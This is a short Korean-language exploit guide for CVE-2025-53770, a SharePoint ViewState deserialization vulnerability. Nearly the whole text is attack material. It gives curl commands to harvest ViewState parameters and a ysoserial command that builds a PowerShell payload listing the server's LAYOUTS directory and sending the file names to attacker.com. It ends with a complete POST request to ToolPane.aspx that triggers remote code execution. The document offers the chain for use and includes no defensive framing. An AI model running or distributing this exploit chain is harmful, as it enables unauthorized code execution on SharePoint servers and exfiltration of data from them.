
SharePoint ViewState 역직렬화를 대상으로 하는 CVE-2025-53770용 익스플로잇. ysoserial을 사용하여 서버 디렉터리를 나열하고 파일 이름을 공격자 통제 URL로 유출하는 페이로드를 생성합니다.
먼저, 대상 SharePoint 페이지에서 __VIEWSTATEGENERATOR, VALIDATION_KEY, VALIDATION_ALG 값을 가져옵니다:
curl -s https://target.com/_layouts/15/start.aspx | grep -oP '__VIEWSTATEGENERATOR" value="\K[^"]+'
curl https://target.com/_layouts/15/spinstall0.aspx
그런 다음, ysoserial.exe를 사용하여 서버의 디렉터리 목록을 조회하고 파일 이름을 외부 URL로 전송하는 PowerShell ViewState 페이로드를 생성합니다:
ysoserial.exe -p ViewState -g TypeConfuseDelegate \
-c "powershell -nop -c \"dir 'C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\15\\TEMPLATE\\LAYOUTS' | % { Invoke-WebRequest -Uri ('http://attacker.com/?f=' + [uri]::EscapeDataString($_.Name)) }\"" \
--generator="<VIEWSTATE_GENERATOR>" \
--validationkey="<VALIDATION_KEY>" \
--validationalg="<VALIDATION_ALG>" \
--islegacy \
--minify
마지막으로, 아래와 같은 POST 요청에 생성된 토큰을 추가하여 서버에서 명령을 실행합니다:
POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Length: 7699
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Referer: /_layouts/SignOut.aspx
Connection: close
MSOTlPn_Uri=http%3A%2F%2Fwww.itsc.org%2F_controltemplates%2F15%2FAclEditor.ascx&MSOTlPn_DWP=<GENERATED_PAYLOAD>